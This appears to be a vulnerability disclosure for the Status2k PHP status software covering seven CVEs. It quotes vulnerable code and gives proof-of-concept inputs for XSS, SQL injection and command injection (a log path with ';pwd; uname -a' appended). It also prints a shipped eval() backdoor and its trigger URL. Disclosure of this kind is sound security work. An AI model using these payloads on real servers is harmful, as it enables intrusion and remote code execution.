# Version: All  
# Tested on: Linux/Windows  
# CVE : CVE-2014-5088, CVE-2014-5089, CVE-2014-5090, CVE-2014-5091, CVE-2014-5092, CVE-2014-5093, CVE-2014-5094  
  
1. Cross site scripting/XSS... there's tons, example  
admin login page, etc  
  
login.php:  
  
if (isset($_GET['username'])) { $useren = $_GET['username']; }  
if (isset($_POST['password'])) { $useren = $_POST['username']; }  
$q = mysql_query("SELECT * FROM ".$prefix."users");  
$adminuser = $res['adminuser']; // Login Database  
$cusername = $_COOKIE["S2KUser"];  
if ( ($cusername == $adminuser) && ($cpassword == $adminpass) ) { $lgtrue = 1; }  
if ( ($useren == $adminuser) && ($passen == $adminpass) ) {  
setcookie("S2KUser", $useren);  
if ($passen && $useren) {  
if ($useren !== $adminuser) { echo '<div class="alert-message error"  
Username ('.$useren.') Incorrect.</div'; }  
<input type="text" name="username" size="25"   
  
simple injection can be done in the username field, <scriptalert("poc")</script, etc  
  
Use CVE-2014-5088 for all of the XSS issues.  
  
  
2. SQLi vulnerability in the GET (log)  
param... This isn't too useful seeing that if you had auth,  
much more damage could be done - refer to command injection  
lack of sanitization: in /admin/options/logs.php  
  
$l = $_GET['log'];  
$q = mysql_query("SELECT * FROM ".$prefix."users");  
$query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");  
$result = mysql_fetch_array($query) or die(mysql_error());  
$query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");  
$result = mysql_fetch_array($query) or die(mysql_error());  
$query = mysql_query("SELECT * FROM ".$prefix."logs WHERE id = '".$l."'");  
$result = mysql_fetch_array($query) or die(mysql_error());  
  
- PoC: site.com/s2kdir/admin/options/logs.php?log=[sqli]  
  
Use CVE-2014-5089.  
  
  
3. Command injection  
This requires access to the Status2k Admin  
Panel, log-in and proceed to click the 'Logs' tab, then select  
'Add Logs', type in any name and for the 'Location' field use  
command injection... Then browse to the created log via the 'Logs'  
tab again.  
  
- example: Logs --Add Logs --; then Logs --newly created log  
  
Name: test Location: /var/log/dmesg;pwd; uname -a  
localhost/admin/options/addlog.php?type=edit&id=5  
  
so there's no sanitization in addlog.php which lets you put anything  
you want as a log location... the issue now is that in logs.php:  
  
$logc = cmdrun($config['logcmd'].$result['location']);  
$log = explode("\n", $logc);  
$log = array_reverse($log);  
  
cmdrun literally calls the equivalent of exec() and thus completely  
execution of a command.  
  
if it is complaining about dmesg... try other log locations... such as  
/usr/local/apache/logs/suexec_log, also try other bash chars, such as  
  
| & && ; $(), etc  
  
Use CVE-2014-5090.  
  
  
4. eval() [RCE] backdoor..  
For about a year, status2k.com was hosting a backdoored version  
of their software... either they knew it or not, there was never an  
announcement when the backdoor was found (good job).  
  
in the file /includes/functions.php:  
eval($_GET['multies']);  
  
site.com/s2k/includes/functions.php?multies=inject_php_code here  
  
PoC: site.com/s2k/includes/functions.php?multies=echo 'foobar';  
  
Use CVE-2014-5091.  
  
  
5. Another RCE  
status2k also lacks sanitization in the templates; /admin/options/editpl.php  
  
one can literally place any malicious php code they want here and have it execute  
  
// Let's make sure the file exists and is writable first.  
if (is_writable("../../templates/".$config['templaten']."/".$filename)) {  
  
// In our example we're opening $filename in append mode.  
// The file pointer is at the bottom of the file hence  
// that's where $somecontent will go when we fwrite() it.  
if (!$handle = fopen("../../templates/".$config['templaten']."/".$filename, 'w')) {  
echo "Cannot open file (../../templates/".$config['templaten']."/".$filename.")";  
exit;  
}  
  
// Write $somecontent to our opened file.  
if (fwrite($handle, $value) === FALSE) {  
echo "Cannot write to file (../../templates/".$config['templaten']."/".$filename.")";  
exit;  
} else {  
echo "Success, $filename updated!";  
  
once again complete lack of sanitization.  
  
Use CVE-2014-5092.  
  
  
6. Design flaw by default Status2k does not remove the install  
directory (/install/), this may lead to an attacker resetting the  
admin credentials and thus logging in and causing further damage  
through RCE vectors listed above.  
  
Use CVE-2014-5093.  
  
  
7. Information leak... it is not shown by default on the index.php  
of status2k above version 2, however // PHPINFO ========== //  
================== $action = $_GET["action"]; if ($action ==  
"phpinfo") { phpinfo(); die(); } allows anyone to view the server's  
phpinfo page (localhost/status/index.php?action=phpinfo)  
  
Use CVE-2014-5094.
